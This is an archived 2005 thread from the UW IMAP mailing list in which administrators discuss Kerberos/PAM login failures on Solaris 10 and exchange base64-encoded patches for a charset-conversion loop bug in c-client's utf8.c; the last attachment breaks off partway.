_______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 9 04:53:25 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 04:53:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BrO6H017776 for ; Mon, 9 May 2005 04:53:24 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BrOYg021418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 04:53:24 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49Br5BN002661; Mon, 9 May 2005 04:53:05 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49Bpaq0002579 for ; Mon, 9 May 2005 04:51:36 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BpZNl016219 for ; Mon, 9 May 2005 04:51:35 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j49BiNa9017924; Mon, 9 May 2005 07:44:23 -0400 (EDT) Message-ID: <427F4EB5.60500@eng.wayne.edu> Date: Mon, 09 May 2005 07:51:17 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Lee Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks, I was sort of thinking the same thing... I'll open a ticket with Sun and see what they say. The problem is definitely narrowed down to UWimap/pop3+Sun pam+Solaris 10. Could be any of the three. Sorry for all the confusing posts. At first I thought it was pop3d not working while imapd was, but later found that neither worked the first auth attempt and both succeeded the second. Thunderbird just happens to transparently retry if it fails the first time, which is why imapd initially appeared to work. That's another mystery why Thunderbird would bother retrying after receiving a failed auth but anyway... Hopefully Sun will be able to shed some light. -Brian David Lee wrote: > On Sun, 8 May 2005, Brian Thompson wrote: > >> Ok, this one I just can't seem to get working no matter what I try... >> >> Here's the setup: >> The mail server (Solaris 10/sparc) is a client machine within a krb5 >> realm and some users need to use their krb5 password. >> The mail server also has some users who need to use their local >> /etc/shadow password. >> We're using imap-2004d source distribution compiled without SSL >> support, with "pmb" pam support, using the Sun workshop compilers >> "make soc". >> >> pam_krb and pam_unix are both working. They authenticate fine for >> telnet, ftp, ssh, and *imapd* using either password. >> Users can use either their local password or their krb5 password to >> check their email via imapd. > > > I cannot directly answer the question. But I can offer a similar, > though still unresolved issue. Our Solaris systems are NIS based. > Two or three years ago, we migrated our authentication away from NIS > and towards Active Directory. This was basically OK for all services > on Solaris 8. But... > > But when we tried Solaris 9 we found that CDE would not authenticate. > All other services were OK. And CDE (and everything else) had been > fine on Solaris 8. So the exact combination CDE/S9/krb5 was failing. > We opened a call with Sun, but this never get resolved (Solaris is a > dwindling part of our service; the CDE machines remain on S8). > > So something, somewhere is wrong with a specific service (CDE) on > S9/krb5. It wouldn't surprise me if this remains unresolved in S10 > (your OS) and/or if S10 has introduced another, analogous strange bug > that might affect other particular services. > > Sorry that doesn't directly help. But it illustrates that Sun's PAM/krb5 > has had bugs in the past. It might be worth opening a call with them. > (But don't hold your breath for a quick resolution!) > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 9 07:34:24 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 07:34:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49EYNE2024100 for ; Mon, 9 May 2005 07:34:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49EYMYr016705 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 07:34:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49EYD7E005655; Mon, 9 May 2005 07:34:13 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49EYCJ7005647 for ; Mon, 9 May 2005 07:34:12 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49EYASD020988 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 9 May 2005 07:34:12 -0700 Received: (qmail 29910 invoked from network); 9 May 2005 16:34:10 +0200 Received: from lusin.mi.fu-berlin.de (HELO mi.fu-berlin.de) (160.45.113.91) by leibniz.math.fu-berlin.de with SMTP; 9 May 2005 16:34:10 +0200 Received: (qmail 6037 invoked by uid 9804); 9 May 2005 16:34:10 +0200 Received: from localhost (HELO mi.fu-berlin.de) (127.0.0.1) by localhost with SMTP; 9 May 2005 16:34:08 +0200 Received: (qmail 6027 invoked by uid 9804); 9 May 2005 16:34:08 +0200 Received: from leibniz.math.fu-berlin.de (HELO math.fu-berlin.de) (160.45.40.10) by lusin.mi.fu-berlin.de with SMTP; 9 May 2005 16:34:08 +0200 Received: (Qmail 29901 invoked from network); 9 May 2005 16:34:07 +0200 Received: From stucki1.mi.fu-berlin.de (160.45.113.41) by leibniz.math.fu-berlin.de with SMTP; 9 May 2005 14:34:07 -0000 Received: from stucki by stucki1.mi.fu-berlin.de with local (Exim 3.36 #1 (Debian)) id 1DV9Kh-0008HG-00 for ; Mon, 09 May 2005 16:34:07 +0200 Date: Mon, 9 May 2005 16:34:07 +0200 From: "Chr. von Stuckrad" To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? Message-ID: <20050509143407.GD14539@localhost.mi.fu-berlin.de> Mail-Followup-To: imap-uw@u.washington.edu References: <427EB2D1.5090400@eng.wayne.edu> <427F4EB5.60500@eng.wayne.edu> X-Envelope-Sender: stucki@math.fu-berlin.de X-Virus-Scanned: by AMaViS 0.3.12pre7-L31[6030](NAI-uvscan@mi.fu-berlin.de) X-Remote-IP: 160.45.113.41 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <427F4EB5.60500@eng.wayne.edu> User-Agent: Mutt/1.5.9i X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, May 09, 2005 at 07:51:17AM -0400, Brian Thompson wrote: > ..., but later found that neither worked the > first auth attempt and both succeeded the second. Thunderbird just > happens to transparently retry if it fails the first time, which is why > imapd initially appeared to work. That's another mystery why > Thunderbird would bother retrying after receiving a failed auth but > anyway... THIS behaviour seems to stem from the 'nsswitch'(.conf) and pam(.conf) libraries, which try to authenticate 'as often as necessary', but give errors in 'intermediate stages'? [The only explanation we at mi.fu-berlin.de so far assumed] Trying here too to authenticate with Win*-AD and kerberos, we first found out, that up to Solaris9 the 'group handling' went crazy if a user was in more than (seemingly) 8 groups. Kerberos on Sol-upto-9 has no way to accept a 'larger Krb5- Ticket via TCP', so broke if a Ticket was not transferable by (Default-)UDP. This may be fixed in Sol10, but largely confuses the Issue, because it works/fails for specific users. AND *if* a user exists in NIS *and* AD and has different Passwords in both *and* sends a wrong password to 'login' at 'first time' (according to the pams), we saw the same behaviour (1. wrong, 2. correct login) in other Programs too (we *therefore* did NOT yet try IMAP so far :-) So either one needs to find a config to 'fall through' to the correct 'mechanism for the password' without an error message, or (as Thunderbird already does) you'll have to retry to answer the password for every failing pam? Hope that this might point in the right direction ... Stucki _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 9 08:08:52 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 08:08:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49F8p1Y025764 for ; Mon, 9 May 2005 08:08:51 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49F8ov6018688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 08:08:51 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49F8geA017843; Mon, 9 May 2005 08:08:42 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49F8fqN017827 for ; Mon, 9 May 2005 08:08:41 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49F8dEe017292 for ; Mon, 9 May 2005 08:08:40 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j49F1Za9021911; Mon, 9 May 2005 11:01:35 -0400 (EDT) Message-ID: <427F7CEE.90601@eng.wayne.edu> Date: Mon, 09 May 2005 11:08:30 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Chr. von Stuckrad" Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> <427F4EB5.60500@eng.wayne.edu> <20050509143407.GD14539@localhost.mi.fu-berlin.de> In-Reply-To: <20050509143407.GD14539@localhost.mi.fu-berlin.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks for the info. That might be part of the situation. Even though I've already tried both the krb5 password and the local password separately, finding that they both fail until the second attempt - I just set my local password to be the same as my krb5 password. It still fails until the second attempt. This should eliminate the idea that it's asking for the "other" password. I also verified that ftp still works on the first try using either password and then after setting both to the same, it still works on the first try. Ftp is going through the same pam mechanism in order to authenticate. -Brian Chr. von Stuckrad wrote: >On Mon, May 09, 2005 at 07:51:17AM -0400, Brian Thompson wrote: > > >> ..., but later found that neither worked the >>first auth attempt and both succeeded the second. Thunderbird just >>happens to transparently retry if it fails the first time, which is why >>imapd initially appeared to work. That's another mystery why >>Thunderbird would bother retrying after receiving a failed auth but >>anyway... >> >> > >THIS behaviour seems to stem from the 'nsswitch'(.conf) and >pam(.conf) libraries, which try to authenticate 'as often as >necessary', but give errors in 'intermediate stages'? >[The only explanation we at mi.fu-berlin.de so far assumed] > >Trying here too to authenticate with Win*-AD and kerberos, >we first found out, that up to Solaris9 the 'group handling' >went crazy if a user was in more than (seemingly) 8 groups. >Kerberos on Sol-upto-9 has no way to accept a 'larger Krb5- >Ticket via TCP', so broke if a Ticket was not transferable >by (Default-)UDP. This may be fixed in Sol10, but largely >confuses the Issue, because it works/fails for specific users. > >AND *if* a user exists in NIS *and* AD and has different >Passwords in both *and* sends a wrong password to 'login' >at 'first time' (according to the pams), we saw the same >behaviour (1. wrong, 2. correct login) in other Programs >too (we *therefore* did NOT yet try IMAP so far :-) > >So either one needs to find a config to 'fall through' >to the correct 'mechanism for the password' without an >error message, or (as Thunderbird already does) you'll >have to retry to answer the password for every failing pam? > >Hope that this might point in the right direction ... > >Stucki > >_______________________________________________ >Imap-uw mailing list >Imap-uw@u.washington.edu >https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 9 18:43:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 18:43:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A1hx9W026991 for ; Mon, 9 May 2005 18:43:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A1hwnm006828 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 18:43:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A1hkes008960; Mon, 9 May 2005 18:43:46 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A1hjIg008951 for ; Mon, 9 May 2005 18:43:45 -0700 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A1hilU000809 for ; Mon, 9 May 2005 18:43:44 -0700 X-DreamWiz-SpamCenter: C=0,M=1,R=1,BR=0,BRS=0,BRT=0,SPAM=0(NO),FL=0, T=1/1,VC=CLEAN(2005-05-12) X-DreamWiz-Peer-IP: [10.0.0.65] Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [10.0.0.65]) by mx-s0.dreamwiz.com (8.13.4/8.13.4) with ESMTP id j4A1hgCD032346 for ; Tue, 10 May 2005 10:43:43 +0900 (KST) DomainKey-Signature: a=rsa-sha1; s=beta; d=dreamwiz.com; c=nofws; q=dns; h=received:date:from:subject:to:message-id:x-priority: x-originating-ip:x-originating-email:x-mailer:mime-version:content-type; b=WWr26t+6h88iEy4g+LlQ7rZ/LjSZX7QXk7XnLqoXHb8w0HtJONNsrY4Jp4mMk5RBG i0YQoQIbZF2dr+rrSYybkqkaFf8C/vift2Mz1nNKGPVhuZD3ghreVz2N6u9Gg6mhh41 0EbAddvIHG7MFlGtk4EdxRCArzD44Jh/gORQiIE= Received: from [127.0.0.1] (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.13.4/8.13.4) with ESMTP id j4A1hgKx028726 for ; Tue, 10 May 2005 10:43:42 +0900 (KST) Received: from [211.39.129.247] by pmail0.dreamwiz.com with HTTP; Tue, 10 May 2005 10:43:42 +0900 (KST) Date: Tue, 10 May 2005 10:43:42 +0900 (KST) From: =?EUC-KR?B?w9a8usjG?= To: imap-uw@u.washington.edu Message-ID: <20050510014342.00007032022702C3@pmail0.dreamwiz.com> X-Priority: 3 X-Originating-IP: [211.39.129.247] X-Originating-Email: shoon@dreamwiz.com X-Mailer: DreamWiz Web-Mailer V4.02P01 MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-846930886-1115689422=:28722" X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='CHARSET_FARAWAY_HEADERS 1.154, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] [patch] utf8_rmap() in utf8.c X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --0-846930886-1115689422=:28722 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I tried following charset conversion test. EUC-KR -> UTF-8 ( by utf8_text() ) -> EUC-KR ( by utf8_cstext() ) But, this test failed. ( The result string is different from input string. ) The attached patch fix this problem. Thanks --------------------------------------------------------- Choi, Sung-hoon DreamWiz Inc. - Development Team/Senior Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com --0-846930886-1115689422=:28722 Content-Type: TEXT/PLAIN; name=utf8.patch.txt Content-Transfer-Encoding: BASE64 Content-ID: <6b8b4567428011ce70320shoon@dreamwiz.com> Content-Disposition: attachment; filename=utf8.patch.txt LS0tIGltYXAtMjAwNGQvc3JjL2MtY2xpZW50L3V0ZjguYy5vcmlnIDIwMDUt MDQtMDggMDk6NDQ6NDEuMDAwMDAwMDAwICswOTAwCisrKyBpbWFwLTIwMDRk L3NyYy9jLWNsaWVudC91dGY4LmMgICAgICAyMDA1LTA1LTEwIDEwOjIyOjI4 LjAwMDAwMDAwMCArMDkwMApAQCAtNDMzLDI1ICs0MzMsMjUgQEAKICAgICBj YXNlIENUX0RCWVRFOiAgICAgICAgICAgICAvKiAyIGJ5dGUgQVNDSUkgKyB1 dGY4X2V1Y3BhcmFtICovCiAgICAgICBmb3IgKHBhcmFtID0gKHN0cnVjdCB1 dGY4X2V1Y3BhcmFtICopIGNzLT50YWIsCiAgICAgICAgICAgdGFiID0gKHVu c2lnbmVkIHNob3J0ICopIHBhcmFtLT50YWIsCi0gICAgICAgICAga3UgPSAw OyBrdSA8PSBwYXJhbS0+bWF4X2t1OyBrdSsrKQotICAgICAgIGZvciAodGVu ID0gMDsgdGVuIDw9IHBhcmFtLT5tYXhfdGVuOyB0ZW4rKykKKyAgICAgICAg ICBrdSA9IDA7IGt1IDwgcGFyYW0tPm1heF9rdTsga3UrKykKKyAgICAgICBm b3IgKHRlbiA9IDA7IHRlbiA8IHBhcmFtLT5tYXhfdGVuOyB0ZW4rKykKICAg ICAgICAgIGlmICgodSA9IHRhYlsoa3UgKiBwYXJhbS0+bWF4X3RlbikgKyB0 ZW5dKSAhPSBVQk9HT04pCi0gICAgICAgICAgIHJtYXBbdV0gPSAoKGt1ICsg cGFyYW0tPmJhc2Vfa3UpIDw8IDgpICsgKHRlbiArIHBhcmFtLT5iYXNlX3Rl bikgKworICAgICAgICAgICBybWFwW3VdID0gKChrdSArIHBhcmFtLT5iYXNl X2t1KSA8PCA4KSArICh0ZW4gKyBwYXJhbS0+YmFzZV90ZW4pIHwKICAgICAg ICAgICAgICAweDgwODA7CiAgICAgICBicmVhazsKICAgICBjYXNlIENUX0RC WVRFMjogICAgICAgICAgICAvKiAyIGJ5dGUgQVNDSUkgKyB1dGY4X2V1Y3Bh cmFtIHBsYW5lMS8yICovCiAgICAgICBmb3IgKHBhcmFtID0gKHN0cnVjdCB1 dGY4X2V1Y3BhcmFtICopIGNzLT50YWIsCiAgICAgICAgICAgdGFiID0gKHVu c2lnbmVkIHNob3J0ICopIHBhcmFtLT50YWIsCi0gICAgICAgICAga3UgPSAw OyBrdSA8PSBwYXJhbS0+bWF4X2t1OyBrdSsrKQotICAgICAgIGZvciAodGVu ID0gMDsgdGVuIDw9IHBhcmFtLT5tYXhfdGVuOyB0ZW4rKykKKyAgICAgICAg ICBrdSA9IDA7IGt1IDwgcGFyYW0tPm1heF9rdTsga3UrKykKKyAgICAgICBm b3IgKHRlbiA9IDA7IHRlbiA8IHBhcmFtLT5tYXhfdGVuOyB0ZW4rKykKICAg ICAgICAgIGlmICgodSA9IHRhYlsoa3UgKiBwYXJhbS0+bWF4X3RlbikgKyB0 ZW5dKSAhPSBVQk9HT04pCi0gICAgICAgICAgIHJtYXBbdV0gPSAoKGt1ICsg cGFyYW0tPmJhc2Vfa3UpIDw8IDgpICsgKHRlbiArIHBhcmFtLT5iYXNlX3Rl bikgKworICAgICAgICAgICBybWFwW3VdID0gKChrdSArIHBhcmFtLT5iYXNl X2t1KSA8PCA4KSArICh0ZW4gKyBwYXJhbS0+YmFzZV90ZW4pIHwKICAgICAg ICAgICAgICAweDgwODA7CiAgICAgICBwYXJhbSsrOwotICAgICAgZm9yIChr dSA9IDA7IGt1IDw9IHBhcmFtLT5tYXhfa3U7IGt1KyspCi0gICAgICAgZm9y ICh0ZW4gPSAwOyB0ZW4gPD0gcGFyYW0tPm1heF90ZW47IHRlbisrKQorICAg ICAgZm9yIChrdSA9IDA7IGt1IDwgcGFyYW0tPm1heF9rdTsga3UrKykKKyAg ICAgICBmb3IgKHRlbiA9IDA7IHRlbiA8IHBhcmFtLT5tYXhfdGVuOyB0ZW4r KykKICAgICAgICAgIGlmICgodSA9IHRhYlsoa3UgKiBwYXJhbS0+bWF4X3Rl bikgKyB0ZW5dKSAhPSBVQk9HT04pCi0gICAgICAgICAgIHJtYXBbdV0gPSAo KGt1ICsgcGFyYW0tPmJhc2Vfa3UpIDw8IDgpICsgKHRlbiArIHBhcmFtLT5i YXNlX3RlbikgKworICAgICAgICAgICBybWFwW3VdID0gKChrdSArIHBhcmFt LT5iYXNlX2t1KSA8PCA4KSArICh0ZW4gKyBwYXJhbS0+YmFzZV90ZW4pIHwK ICAgICAgICAgICAgICAweDgwODA7CiAgICAgICBicmVhazsKICAgICBjYXNl IENUX1NKSVM6ICAgICAgICAgICAgICAvKiAyIGJ5dGUgU2hpZnQtSklTICov Cgo= --0-846930886-1115689422=:28722 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --0-846930886-1115689422=:28722-- From pinedev@shivax2.cac.washington.edu Mon May 9 20:59:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 20:59:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3x5M6031432 for ; Mon, 9 May 2005 20:59:05 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3x4lN012316 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 20:59:04 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3wthY020131; Mon, 9 May 2005 20:58:55 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3wtHn020123 for ; Mon, 9 May 2005 20:58:55 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3wsfU032370 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 9 May 2005 20:58:55 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3wqo6017972; Mon, 9 May 2005 20:58:52 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4A3wZ2O017844 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Mon, 9 May 2005 20:58:51 -0700 Date: Mon, 9 May 2005 20:58:34 -0700 (PDT) From: Mark Crispin To: Choi Sung-shoon Subject: Re: [Imap-uw] [patch] utf8_rmap() in utf8.c In-Reply-To: <20050510014342.00007032022702C3@pmail0.dreamwiz.com> Message-ID: References: <20050510014342.00007032022702C3@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="0-846930886-1115689422=:28722" Content-ID: X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-846930886-1115689422=:28722 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; format=flowed Content-ID: Thank you very much for reporting this problem. I have fixed the problem, but in a different way than you did. Please see the attached patch. There were two problems. You are correct that the loop was going one ku too far; although the ku is 1-origin the loop was zero origin and thus should use a < test instead of a <= test. The other problem was that the same technique that is appropriate for Japanese EUC was also used for Korean and Taiwanese EUC. You worked around this by changing the add of 0x8080 to an or. Although this solves the problem for standard Korean characters, it is not quite right and is definitely wrong for Taiwanese. The correct fix is to add 0x8080 for Japanese and add 0x8000 for Korean and Taiwanese (since the second byte can be be in both halves in Korean and Taiwanese). Could you please test this updated patch? I believe that it is correct, but since I do not understand Korean I can't be certain. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. --0-846930886-1115689422=:28722 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=utf8.diff Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=utf8.diff KioqIHV0ZjguYy5vbGQJVGh1IEFwciAgNyAxNzo0NDo0MSAyMDA1DQotLS0g dXRmOC5jCU1vbiBNYXkgIDkgMjA6NDY6MzEgMjAwNQ0KKioqKioqKioqKioq KioqDQoqKiogMTAsMTYgKioqKg0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMu V2FzaGluZ3Rvbi5FRFUNCiAgICoNCiAgICogRGF0ZToJMTEgSnVuZSAxOTk3 DQohICAqIExhc3QgRWRpdGVkOgk3IEFwcmlsIDIwMDUNCiAgICogDQogICAq 